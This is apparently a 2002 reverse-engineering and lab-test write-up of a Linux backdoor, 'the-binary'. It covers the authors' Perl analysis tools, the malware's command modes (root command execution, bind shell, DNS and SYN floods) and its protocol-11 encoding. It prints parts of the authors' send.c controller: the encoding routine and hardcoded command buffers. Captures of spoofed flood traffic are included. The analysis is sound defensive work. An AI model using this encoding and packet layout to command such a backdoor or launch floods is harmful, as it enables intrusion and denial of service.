1. Code Analysis
1. Tools
gdb,objdump is the friends of the reverse engineers.
2. My tools
These files included in RE package.
1. main files:
gen_call_tree.pl:
generate call tree. *.tree.html files.
format_calls.pl:
format *.call file to *.html file, which has strutural information. This file can
be viewed with show_call.pl cgi program.
gdbrun.pl:
gdb runner
which prints out all the paramters for an instruction from an address to an address.
and forge fork call to debug child process easily.
needs IO:Tty, Expect perl Modules
Download from here:
IO:Tty (www.cpan.org/authors/id/R/RG/RGIERSIG/IO-Tty-1.02.tar.gz)
Expect (www.cpan.org/authors/id/R/RG/RGIERSIG/Expect-1.15.tar.gz)
2. cgi files:
cgi-bin/show_call.pl:
show the call html files
cgi-bin/process_sub_list.pl:
process user supplied data
cgi-lib.pl:
berkeley's cgi-lib
2. library files:
sublist.pl:
substitution library
format_calls_lib.pl:
library which is used by format_calls.pl:
3. etc files:
subst_file.pl:
substitute a file for viewing.
find_caller.pl:
find the callers of a function
get_comments.pl:
get comment about an address
grep_var.pl:
get variable list from a call and compares it to *sub.list file
3. Using tools
1. Step 1
Generate *.call files.
usage: gen_calls.pl <filename>
------------------------------------------
example
------------------------------------------
matter:~/tb/t2# ls -la the-binary
-rwxr-xr-x 1 root root 205108 May 24 08:01 the-binary
matter:~/tb/t2# gen_calls.pl the-binary
objdump: the-binary: no symbols
objdump: the-binary: no symbols
writing 0x8048090.call
writing 0x8048134.call
writing 0x8048ecc.call
writing 0x8048f94.call
writing 0x8049138.call
writing 0x8049174.call
writing 0x8049564.call
writing 0x80499f4.call
writing 0x8049d40.call
writing 0x804a194.call
writing 0x804a1e8.call
writing 0x804a2a8.call
writing 0x804a48c.call
writing 0x804a4f4.call
writing 0x804a580.call
writing 0x804a5cc.call
writing 0x804a9d8.call
...
2. Step 2
Generate Data File
usage: gen_data.sh <filename>
------------------------------------------
example
------------------------------------------
Output file is <filename>.data and it contains the constant string variables'
value.
matter:~/tb/t2# sh gen_data.sh the-binary
<It takes some time>
matter:~/tb/t2# ls -la the-binary.data
-rw-r--r-- 1 root root 20830 May 24 17:19 the-binary.data
matter:~/tb/t2# more the-binary.data
...
0x80675d0: "è;\013þÿÂ"
0x80675d8: "[mingetty]"
0x80675dc: "getty]"
0x80675e0: "y]"
0x80675e2: ""
0x80675e3: "/"
0x80675e5: ""
0x80675e6: "/tmp/.hj237349"
0x80675f5: "/bin/csh -f -c \"%s\" 1> %s 2>&1"
0x8067614: "rb"
0x8067617: "TfOjG"
0x806761d: "ÿû\001"
0x8067621: "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:."
0x8067651: "PATH"
...
3. Step 3
Generate *.html files.
usage: format_calls.pl -d <datafile> *.call
------------------------------------------
example
------------------------------------------
Format *.call file to convert it to html file.
With -d option you can define the .data file.
matter:~/tb/t2# format_calls.pl -d the-binary.data *.call
Processing 0x8048090.call
Processing 0x8048134.call
Processing 0x8048ecc.call
Processing 0x8048f94.call
Processing 0x8049138.call
Processing 0x8049174.call
Processing 0x8049564.call
Processing 0x80499f4.call
Processing 0x8049d40.call
Processing 0x804a194.call
Processing 0x804a1e8.call
Processing 0x804a2a8.call
Processing 0x804a48c.call
Processing 0x804a4f4.call
Processing 0x804a580.call
Processing 0x804a5cc.call
Processing 0x804a9d8.call
...
4. Step 4
Setup for use with web server.
Execute install.sh in RE package. It will do copying of files and reminds you what
process you should do.
To use with web server and *.cgi files provided with the package, you must setup
the data directory with proper permission.
Copy show_call.pl and process_sub_list.pl to web server's cgi directory. And give
proper permission as a cgi.
In our example, we use ~/tb/t2 as the web directory and the *.html files are stored
here. so the ~/tb/t2 directory must be readable to the web server. And because process_sub_list.pl
provided with our package uses the data directory as storage base, web server must
have writable access to the data directory.
------------------------------------------
example
------------------------------------------
matter:~/tb/t2# ps aux|grep apa
root 713 0.0 0.2 2520 524 ? S May20 0:36 /usr/sbin/apache
www-data 13844 0.0 0.4 2636 1208 ? S 07:12 0:00 /usr/sbin/apache
www-data 16436 0.0 0.4 2632 1200 ? S 09:49 0:00 /usr/sbin/apache
www-data 22056 0.0 0.4 2632 1200 ? S 16:19 0:00 /usr/sbin/apache
www-data 22063 0.0 0.4 2632 1200 ? S 16:25 0:00 /usr/sbin/apache
www-data 22387 0.0 0.4 2568 1120 ? S 16:47 0:00 /usr/sbin/apache
www-data 23103 0.0 0.4 2632 1188 ? S 17:54 0:00 /usr/sbin/apache
www-data 23124 0.0 0.3 2532 860 ? S 18:00 0:00 /usr/sbin/apache
root 23134 0.0 0.1 1108 408 ttypd S 18:01 0:00 grep apa
matter:~/tb/t2# chown www-data .
matter:~/tb/t2# chown 750 .
Edit /etc/re_config.pl.
$re_config'version = sprintf("%d.%02d", q$Revision: 0.01 $ =~ /(\d+)\.(\d+)/);
$data_dir="/root/tb/t2"; #Where the the target file and the output file should reside.
$modules_dir="/root/archive/bin/re"; #Where the RE package resides.
$unistd_file="$modules_dir/incl/unistd.h"; #Where the unistd.h file reside.
$html_doc_root="/tb/t2"; #web path to the $data_dir, it's same logical directory
with $data_dir...
And finally, copy util.js in RE package to the data root defined in re_config.pl
as data_dir where *.call,*.html file exists.
5. Step 5
Generate call tree.
usage: gen_call_tree.pl -m <max depth>
max depth: defines the depth of recursion
filename: call file name to start the generation of call tree.
------------------------------------------
example
------------------------------------------
matter:~/tb/t2# gen_call_tree.pl -m 3 0x8048090.call
loop found [0x80559a0]
loop found [0x80559a0]
matter:~/tb/t2# ls -la 0x8048090.tree.html
-rw-r--r-- 1 root root 377216 May 24 17:34 0x8048090.tree.html
You can view this call tree with your favorite web browser.
A line is consists of two part delimited by '/' character. The first one is the address
of the place where call function happens and the second one is the call itself.
If you click the first part, you can view the part of the place where the calling
of the call happens.
If you click the second part, you can view the call itself.
6. Step 6
Edit the pages.
1. Go to a call
With the call tree page, find an interesting call and go to the edit page.
This is the edit page for the link.
2. Edit a variable
Find some interesting variable and edit it.
Click the link of the interesting variable.
Edit page pops up.
You can input any string to the <value>.
Press OK for successful edit.
You can reload the call page to view the result.
3. Edit a variable with range.
Sometime you need to name a register, which has no fixed role through the code,
but in some range the register can mean something. In that case, you can name the
register for a range.
Click the link for the register.
Edit page pops up with from: to: value is assigned.
Two value is identical for default. The value is assigned with the value of address
where you click the link for the register.
Change to: address to where you want to define the register and set value for the
register.
Reload the page to view the result.
4. Comment a location
Find an interesting location. And you can add some comments to there.
Click the address link.
The edit page pops up.
You can add some comments on it and can make a name for the address.
Reload the call page to view the result.
5. Link to a call
You can click the call operand link to view the call function's code.
Click the link.
You can view the call page. The system call function of linux system(which uses
int $0x80 is auto interpreted.)
6. Name a call
You can give a name to a call by assigning value to the first address of the call.
Click the first address of the call.
Give value and Comments and press OK.
Reload the call page to view the result.
Reload the caller of call page to view the result.
7. Call Stack
The push command is not shown directly to the call page. This is summarized below
the call. The call and the arguments are in green box. You can view the push commands
by clicking the "call" link.
With this functionality you can guess some call's function with ease. The constant
string will be displayed automatically.
8. Reflect the changes to the call tree file
To reflect in change of call name, you must regenerate the call tree file with gen_call_tree.pl
command. This is explained previously.
4. analyzing main part
1. Start of the Loop
The function main_loop(0x8048134) is the main part of the binary.
Firstly, it checks for root priviledge. Because only root can create raw socket.
2. Erase name
Erase the argv and write "[mingetty]" over it.
3. Demonize
change to root directory and close stdin,stdout,stderr
4. Initialize random number pool
This binary uses many random numbers, so it inititialize random number pool.
5. Raw socket creation
open raw socket with protocol number 11(0xb).
6. Data Receiving
With recv, wait for 11(0xb) protocol packet.
7. Decryption
Decrypt the received packet.
8. Op code
Get opcode from decrypted_data_buffer + 0x1 location.
9. Operation Mode 0
Re-encrypt the decrypted packet and sends out.
10. Operation Mode 0: sending the packet
Send the protocol 11(0xb) packet.
11. Operation Mode 1
Sets master server IP address.
12. Operation Mode 1: Address assignment
Assigning address to dst_address_array
13. Operation Mode 1
Assigning address to dst_address_array
14. Operation Mode 2
Some child sleep for 0xa seconds and kills the previously forked process.
15. Operation Mode 2
Make command buffer.
16. Operation Mode 2
Encrypt the command result and send with the protocol 11(0xb).
17. Operation Mode 3
18. Operation Mode 3
Send DNS packets for DOS attack.
19. Operation Mode 4
20. Operation Mode 4
Send out UDP or ICMP packets.
21. Operation Mode 5
Spawn port bind shell
22. Operation Mode 5
Sets binding port.
23. Operation Mode 5
Socket for TCP.
24. Operation Mode 5
Bind,Listen,Accept, and recv.
25. Operation Mode 5
If the password is incorrect, send terminal lock ANSI string.
26. Operation Mode 5
If password is correct, make environment variables and erase some dangerous variable
out. And executes the /bin/sh.
27. Operation Mode 6
Execute command
28. Operation Mode 6
Make command buffer
29. Operation Mode 7
Kill previously forked child, which runs infinitely.
30. Operation Mode 8
Send DNS packets out.
31. Operation Mode 8
32. Operation Mode 9
Send SYN flood packets.
33. Operation Mode 9
34. Operation Mode 0xa
forks...
35. Operation Mode 0xa
Send SYN flood packets.
36. Operation Mode 0xb
forks...
37. Operation Mode 0xb
Send DNS packets
38. End of The Loop
The bottom of the Loop.
2. Restricted Environment Test
Within some restricted environment, we tested the binary.
1. Tools
tcpdump,ethereal is the friends of the backdoor testers.
2. Operation Mode Tests
With the code analysis we've got the knowledge of 12 different operation mode. With
this operation test, we need to confirm our idea. Because we have pre-knowledge
about the binary by the code analsys the operation mode tests were so straight.
And the result is so simple to understand. And no unexpected side effects were found
during the test.
1. The Test Program
Because the-binary program is only a agent or backdoor for the attack. We need to
make some simple test client program. We named it send. And the source file is named
send.c.
The major functionality is to send crafted 0xb IP protocol packet to the destination.
Because each operation mode has sligtly different packet format we can't make general
data type or structure, and each mode has their own data structures.
And all the packets should be encoded with some nasty encoding process. I made encoding
subroutine like this.
int encrypt_data(char *src,int len,char *dst)
{
int i;
sprintf(dst,"%c",src[0]+23);
if(len==1)
{
return;
}
i=1;
while(i<len)
{
dst[i]=src[i]+23+dst[i-1];
i++;
}
}
And we used raw socket for packet creation. This send.c is tested on Debian Linux
system, and may works well with other Linux distributions. I'm not sure it can work
on other platforms.
1. Compilation
No extra option needed.
gcc -o send send.c
2. Usage
./send <destination IP address>
If you want to modify the data sent to the destination the-binary agent or backdoor,
you must edit the send.c file, they are hardcoded like this:
char op1_buffer[20]={
1,
3,
2/*mode 2: decoy mode,*/,
0x11,
0x12,
0x13,
0x14
};
#define OP2_MESSAGE "/usr/bin/id;"
#define OP2_MESSAGE_OFFSET 2
char op3_buffer[20]={
4,
5,
1, /*src1*/
2, /*src2*/
3, /*src3*/
4, /*src4*/
1, /*sp high*/
1, /*sp low*/
1, /*random src?*/
0 /*no host name*/
};
char op4_buffer[30]={
1,
2,
1,/*udp or icmp*/
1,/*dst port*/
1,/*dst1*/
2,/*dst2*/
3,/*dst3*/
4,/*dst4*/
5,/*src1*/
6,/*src2*/
7,/*src3*/
8,/*src4*/
1,/*random flag*/
/*hostname*/
};
char *op4_host="1.1.1.1";
#define OP6_MESSAGE "/usr/bin/id > /tmp/id"
#define OP6_MESSAGE_OFFSET 2
char op8_buffer[20]={
4,
5,
1, /*src1*/
2, /*src2*/
3, /*src3*/
4, /*src4*/
1, /*use select?*/
1, /*sp high*/
1, /*sp low*/
0, /*random src?*/
0 /*no host name*/
};
char op9_buffer[30]={
1,
2,
1,/*dst1*/
2,/*dst2*/
3,/*dst3*/
4,/*dst4*/
1,/*dst port high*/
1,/*dst port low*/
1,/*?*/
5,/*src1*/
6,/*src2*/
7,/*src3*/
8,/*src4*/
0,/*use hostname*/
/*hostname*/
};
char opa_buffer[30]={
1,
2,
1,/*dst1*/
2,/*dst2*/
3,/*dst3*/
4,/*dst4*/
1,/*dst port high*/
0,/*dst port low*/
1,/*?*/
5,/*src1*/
6,/*src2*/
7,/*src3*/
8,/*src4*/
1,/*?*/
0,/*use hostname*/
/*hostname*/
};
char opb_buffer[30]={
1,
2,
1,/*dst1*/
2,/*dst2*/
3,/*dst3*/
4,/*dst4*/
5,/*src1*/
6,/*src2*/
7,/*src3*/
8,/*src4*/
8,/*counter*/
8,/*src port high*/
8,/*src port low*/
0,/*use hostname*/
/*hostname*/
};
2. Operation Mode 1:
This is the code snippet from send.c
char op1_buffer[20]={
1,
3,
2/*mode 2: decoy mode,*/,
0x11,
0x12,
0x13,
0x14
Send command packet to the the-binary agent running on localhost.
matter:~/tb/test# ./send 127.0.0.1 1
Data buffer's 3-6 bytes defines the master server's address.
This address is used on some operation modes.
3. Operation Mode 0:
Operation Mode 0 has no real function itself. It only responds with the re-encrypted
packet to the master server IP which was set in Operation Mode 1.
With send test utitility send Operation Mode 0 packet to localhost.
matter:~/tb/test# ./send 127.0.0.1 0
This is the original packet by send.c test utility.
matter:~/tb/test/opers/0# tcpdump -n -i lo
tcpdump: listening on lo
16:55:34.731612 1.1.1.1 > 127.0.0.1: ip-proto-11 402
4500 01a6 0221 0000 0b0b 2b2a 0101 0101
7f00 0001 0201 0018 9b1e a4bb d2e9 0017
2e45 5c73 8aa1 b8cf e6fd 142b 4259 7087
9eb5 cce3 fa11 283f 566d 849b b2c9 e0f7
This is the response packet which has the IP address set on Operation Mode 0(17.18.19.20)
as the destionation address.
4. Operation Mode 2:
This is the snippet from send.c test utility, which defines the command to be executed
in mode 2. When this operational packet is interpreted, this command is executed
as root.
#define OP2_MESSAGE "/usr/bin/id;"
Send command packet to localhost.
matter:~/tb/test# ./send 127.0.0.1 2
Next is the ethereal dump of the response packet.
This is the printed version of the dump. Even with the encoding, you can see some
clear text data which looks like as a result of a command "/usr/bin/id".
Frame 1 (490 on wire, 490 captured)
Arrival Time: May 25, 2002 14:43:03.481243000
Time delta from previous packet: 0.000000000 seconds
Time relative to first packet: 0.000000000 seconds
Frame Number: 1
Packet Length: 490 bytes
Capture Length: 490 bytes
Ethernet II
Destination: 00:b0:8e:f2:70:54 (Cisco_f2:70:54)
Source: 00:03:47:b6:ec:be (Intel_b6:ec:be)
Type: IP (0x0800)
Internet Protocol, Src Addr: 127.0.0.1 (127.0.0.1), Dst Addr: 17.18.19.20 (17.18.19.20)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 476
Identification: 0x2874
Flags: 0x00
.0.. = Don't fragment: Not set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 250
Protocol: Unknown (0x0b)
Header checksum: 0xf37b (correct)
Source: 127.0.0.1 (127.0.0.1)
Destination: 17.18.19.20 (17.18.19.20)
Data (456 bytes)
0000 03 00 46 60 ec 6c e7 3b 82 c1 4a d0 56 e1 21 58 ..F`.l.;..J.V.!X
0010 d6 56 d1 25 6c ab 34 ba 40 cb 0b 42 c0 49 cf 5b .V.%l.4.@..B.I.[
0020 e2 6c c0 07 46 cf 55 db 66 a6 c7 de 5f a8 f2 40 .l..F.U.f..._..@
0030 8a d5 25 5c a5 fa 37 7f 96 a1 c3 fc 4c b3 31 c6 ..%\..7.....L.1.
0040 72 35 0f 00 08 27 5d aa 0e 89 1b c4 84 5b 49 4e r5...']......[IN
0050 6a 9d e7 48 c0 4f f5 b2 86 71 73 8c bc 03 61 d6 j..H.O...qs...a.
0060 62 05 bf 90 78 77 8d ba fe 59 cb 54 f4 ab 79 5e b...xw...Y.T..y^
0070 5a 6d 97 d8 30 9f 25 c2 76 41 23 1c 2c 53 91 e6 Zm..0.%.vA#.,S..
0080 52 d5 6f 20 e8 c7 bd ca ee 29 7b e4 64 fb a9 6e R.o .....){.d..n
0090 4a 3d 47 68 a0 ef 55 d2 66 11 d3 ac 9c a3 c1 f6 J=Gh..U.f.......
00a0 42 a5 1f b0 58 17 ed da de f9 2b 74 d4 4b d9 7e B...X.....+t.K.~
00b0 3a 0d f7 f8 10 3f 85 e2 56 e1 83 3c 0c f3 f1 06 :....?..V..<....
00c0 32 75 cf 40 c8 67 1d ea ce c9 db 04 44 9b 09 8e 2u.@.g......D...
00d0 2a dd a7 88 80 8f b5 f2 46 b1 33 cc 7c 43 21 16 *.......F.3.|C!.
00e0 22 45 7f d0 38 b7 4d fa be 99 8b 94 b4 eb 39 9e "E..8.M.......9.
00f0 1a ad 57 18 f0 df e5 02 36 81 e3 5c ec 93 51 26 ..W.....6..\..Q&
0100 12 15 2f 60 a8 07 7d 0a ae 69 3b 24 24 3b 69 ae ../`..}..i;$$;i.
0110 0a 7d 07 a8 60 2f 15 12 26 51 93 ec 5c e3 81 36 .}..`/..&Q..\..6
0120 02 e5 df f0 18 57 ad 1a 9e 39 eb b4 94 8b 99 be .....W...9......
0130 fa 4d b7 38 d0 7f 45 22 16 21 43 7c cc 33 b1 46 .M.8..E".!C|.3.F
0140 f2 b5 8f 80 88 a7 dd 2a 8e 09 9b 44 04 db c9 ce .......*...D....
0150 ea 1d 67 c8 40 cf 75 32 06 f1 f3 0c 3c 83 e1 56 ..g.@.u2....<..V
0160 e2 85 3f 10 f8 f7 0d 3a 7e d9 4b d4 74 2b f9 de ..?....:~.K.t+..
0170 da ed 17 58 b0 1f a5 42 f6 c1 a3 9c ac d3 11 66 ...X...B.......f
0180 d2 55 ef a0 68 47 3d 4a 6e a9 fb 64 e4 7b 29 ee .U..hG=Jn..d.{).
0190 ca bd 2f 03 75 69 64 3d 30 28 72 6f 6f 74 29 20 ../.uid=0(root)
01a0 67 69 64 3d 30 28 72 6f 6f 74 29 20 67 72 6f 75 gid=0(root) grou
01b0 70 73 3d 30 28 72 6f 6f 74 29 0a 00 6a 32 33 37 ps=0(root)..j237
01c0 33 34 39 20 32 3e 26 31 349 2>&1
Frame 2 (541 on wire, 541 captured)
Arrival Time: May 25, 2002 14:43:03.981154000
Time delta from previous packet: 0.499911000 seconds
Time relative to first packet: 0.499911000 seconds
Frame Number: 2
Packet Length: 541 bytes
Capture Length: 541 bytes
Ethernet II
Destination: 00:b0:8e:f2:70:54 (Cisco_f2:70:54)
Source: 00:03:47:b6:ec:be (Intel_b6:ec:be)
Type: IP (0x0800)
Internet Protocol, Src Addr: 127.0.0.1 (127.0.0.1), Dst Addr: 17.18.19.20 (17.18.19.20)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 527
Identification: 0x169c
Flags: 0x00
.0.. = Don't fragment: Not set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 250
Protocol: Unknown (0x0b)
Header checksum: 0x0521 (correct)
Source: 127.0.0.1 (127.0.0.1)
Destination: 17.18.19.20 (17.18.19.20)
Data (507 bytes)
0000 03 00 46 61 78 f8 73 c7 0e 4d d6 5c e2 6d ad e4 ..Fax.s..M.\.m..
0010 62 e2 5d b1 f8 37 c0 46 cc 57 97 ce 4c d5 5b e7 b.]..7.F.W..L.[.
0020 6e f8 4c 93 d2 5b e1 67 f2 32 53 6a eb 34 7e cc n.L..[.g.2Sj.4~.
0030 16 61 b1 e8 31 86 c3 0b 22 2d 4f 88 d8 3f bd 52 .a..1..."-O..?.R
0040 fe c1 9b 8c 94 b3 e9 36 9a 15 a7 50 10 e7 d5 da .......6...P....
0050 f6 29 73 d4 4c db 81 3e 12 fd ff 18 48 8f ed 62 .)s.L..>....H..b
0060 ee 91 4b 1c 04 03 19 46 8a e5 57 e0 80 37 05 ea ..K....F..W..7..
0070 e6 f9 23 64 bc 2b b1 4e 02 cd af a8 b8 df 1d 72 ..#d.+.N.......r
0080 de 61 fb ac 74 53 49 56 7a b5 07 70 f0 87 35 fa .a..tSIVz..p..5.
0090 d6 c9 d3 f4 2c 7b e1 5e f2 9d 5f 38 28 2f 4d 82 ....,{.^.._8(/M.
00a0 ce 31 ab 3c e4 a3 79 66 6a 85 b7 00 60 d7 65 0a .1.<..yfj...`.e.
00b0 c6 99 83 84 9c cb 11 6e e2 6d 0f c8 98 7f 7d 92 .......n.m....}.
00c0 be 01 5b cc 54 f3 a9 76 5a 55 67 90 d0 27 95 1a ..[.T..vZUg..'..
00d0 b6 69 33 14 0c 1b 41 7e d2 3d bf 58 08 cf ad a2 .i3...A~.=.X....
00e0 ae d1 0b 5c c4 43 d9 86 4a 25 17 20 40 77 c5 2a ...\.C..J%. @w.*
00f0 a6 39 e3 a4 7c 6b 71 8e c2 0d 6f e8 78 1f dd b2 .9..|kq...o.x...
0100 9e a1 bb ec 34 93 09 96 3a f5 c7 b0 b0 c7 f5 3a ....4...:......:
0110 96 09 93 34 ec bb a1 9e b2 dd 1f 78 e8 6f 0d c2 ...4.......x.o..
0120 8e 71 6b 7c a4 e3 39 a6 2a c5 77 40 20 17 25 4a .qk|..9.*.w@ .%J
0130 86 d9 43 c4 5c 0b d1 ae a2 ad cf 08 58 bf 3d d2 ..C.\.......X.=.
0140 7e 41 1b 0c 14 33 69 b6 1a 95 27 d0 90 67 55 5a ~A...3i...'..gUZ
0150 76 a9 f3 54 cc 5b 01 be 92 7d 7f 98 c8 0f 6d e2 v..T.[...}....m.
0160 6e 11 cb 9c 84 83 99 c6 0a 65 d7 60 00 b7 85 6a n........e.`...j
0170 66 79 a3 e4 3c ab 31 ce 82 4d 2f 28 38 5f 9d f2 fy..<.1..M/(8_..
0180 5e e1 7b 2c f4 d3 c9 d6 fa 35 87 f0 70 07 b5 7a ^.{,.....5..p..z
0190 56 49 2f 04 00 69 64 3d 30 28 72 6f 6f 74 29 20 VI/..id=0(root)
01a0 67 69 64 3d 30 28 72 6f 6f 74 29 20 67 72 6f 75 gid=0(root) grou
01b0 70 73 3d 30 28 72 6f 6f 74 29 0a 00 6a 32 33 37 ps=0(root)..j237
01c0 33 34 39 20 32 3e 26 31 00 f4 0b 22 39 50 67 7e 349 2>&1..."9Pg~
01d0 95 ac c3 da f1 08 1f 36 4d 64 7b 92 a9 c0 d7 ee .......6Md{.....
01e0 05 1c 33 4a 61 78 8f a6 bd d4 eb 02 19 30 47 5e ..3Jax.......0G^
01f0 75 8c a3 ba d1 e8 ff 16 2d 44 5b u.......-D[
5. Operation Mode 3:
This is the snippet from send.c test utility, which defines the packet format for
Operation Mode 3.
char op3_buffer[20]={
4,
5,
1, /*src1*/
2, /*src2*/
3, /*src3*/
4, /*src4*/
7, /*sp high*/
0, /*sp low*/
1, /*random src?*/
0 /*no host name*/
};
Send command packet to localhost.
matter:~/tb/test# ./send 127.0.0.1 3
UDP DNS packets are generated in massive manner, with the source IP address defined
by the command packet. This is a big load for the network, and it's a kind of a
DOS attack.
matter:~/tb/test/tf# tcpdump -n -i eth0 udp port 53
tcpdump: listening on eth0
15:46:17.817787 1.2.3.4.1792 > 146.59.80.2.53: 35316+ SOA? com. (21)
15:46:17.821151 1.2.3.4.1792 > 146.6.62.1.53: 64848+ SOA? com. (21)
15:46:17.831144 1.2.3.4.1792 > 146.63.234.5.53: 54639+ SOA? com. (21)
15:46:17.841116 1.2.3.4.1792 > 146.63.242.6.53: 21145+ SOA? com. (21)
15:46:17.851112 1.2.3.4.1792 > 146.64.10.11.53: 15587+ SOA? com. (21)
15:46:17.861162 1.2.3.4.1792 > 146.64.10.166.53: 51427+ SOA? com. (21)
15:46:17.871113 1.2.3.4.1792 > 146.65.233.23.53: 5676+ SOA? com. (21)
15:46:17.881110 1.2.3.4.1792 > 146.7.7.77.53: 38386+ SOA? com. (21)
15:46:17.891123 1.2.3.4.1792 > 146.7.8.88.53: 59170+ SOA? com. (21)
15:46:17.901130 1.2.3.4.1792 > 146.74.1.65.53: 29550+ SOA? com. (21)
15:46:17.911112 1.2.3.4.1792 > 146.75.254.1.53: 57046+ SOA? com. (21)
15:46:17.921134 1.2.3.4.1792 > 146.83.183.94.53: 28739+ SOA? com. (21)
15:46:17.931165 1.2.3.4.1792 > 146.83.198.3.53: 42918+ SOA? com. (21)
15:46:17.941148 1.2.3.4.1792 > 146.85.1.50.53: 2781+ SOA? com. (21)
15:46:17.951127 1.2.3.4.1792 > 146.86.1.2.53: 2631+ SOA? com. (21)
15:46:17.961119 1.2.3.4.1792 > 146.86.1.200.53: 15004+ SOA? com. (21)
15:46:17.971156 1.2.3.4.1792 > 146.87.255.60.53: 48884+ SOA? com. (21)
15:46:17.981122 1.2.3.4.1792 > 146.87.3.2.53: 25666+ SOA? com. (21)
15:46:17.991117 1.2.3.4.1792 > 146.88.1.4.53: 39032+ SOA? com. (21)
15:46:18.001169 1.2.3.4.1792 > 146.94.1.2.53: 15349+ SOA? com. (21)
15:46:18.011121 1.2.3.4.1792 > 146.95.1.12.53: 7252+ SOA? com. (21)
15:46:18.021123 1.2.3.4.1792 > 146.96.128.100.53: 13206+ SOA? com. (21)
15:46:18.031128 1.2.3.4.1792 > 146.96.128.9.53: 56892+ SOA? com. (21)
15:46:18.041154 1.2.3.4.1792 > 146.99.4.44.53: 22684+ SOA? com. (21)
....
15:46:21.091323 1.2.3.4.1792 > 149.173.1.4.53: 7632+ SOA? com. (21)
15:46:21.101165 1.2.3.4.1792 > 149.174.211.5.53: 32119+ SOA? com. (21)
15:46:21.111171 1.2.3.4.1792 > 149.174.213.5.53: 10686+ SOA? com. (21)
15:46:21.121174 1.2.3.4.1792 > 149.175.1.1.53: 41353+ SOA? com. (21)
15:46:21.131160 1.2.3.4.1792 > 149.176.253.1.53: 49208+ SOA? com. (21)
15:46:21.141236 1.2.3.4.1792 > 149.19.192.10.53: 11721+ SOA? com. (21)
15:46:21.151305 1.2.3.4.1792 > 149.201.10.30.53: 63287+ SOA? com. (21)
15:46:21.161172 1.2.3.4.1792 > 149.211.49.50.53: 7065+ SOA? com. (21)
15:46:21.171173 1.2.3.4.1792 > 149.216.91.15.53: 60124+ SOA? com. (21)
15:46:21.181186 1.2.3.4.1792 > 149.217.0.100.53: 54257+ SOA? com. (21)
15:46:21.191173 1.2.3.4.1792 > 149.218.112.4.53: 45110+ SOA? com. (21)
338 packets received by filter
0 packets dropped by kernel
6. Operation Mode 4:
Operation Mode 4 calls send_udp_or_icmp_packet function.
It creates socket and finally send packets using sendto function.
There's two sendto function.
This is the first sendto's pushing lines.
This is the second sendto's pushing lines.
In gdbconf file we can insert our command on the address.
So we inserted to the address where two push lines pushes packet data the hex dump
command.
matter:~/tb/t2# more gdbconf
...
0x8049d03 x/100bx
0x8049ce4 x/100bx
...
This is the data used in send.c test utility for Operation Mode 4.
char op4_buffer[30]={
1,
2,
1,/*udp or icmp*/
1,/*dst port*/
1,/*dst1*/
2,/*dst2*/
3,/*dst3*/
4,/*dst4*/
5,/*src1*/
6,/*src2*/
7,/*src3*/
8,/*src4*/
1,/*use hostname*/
/*hostname*/
};
char *op4_host="1.1.1.1";
We ran gdbrun.sh <start address> and sent Operation Mode 4 packet.
matter:~/tb/test/opers/test# ./send 127.0.0.1 4
The gdbrun.sh looped for a long time, so we suspended the process and checked out
the result file which is the form like "<start address>-.gr".
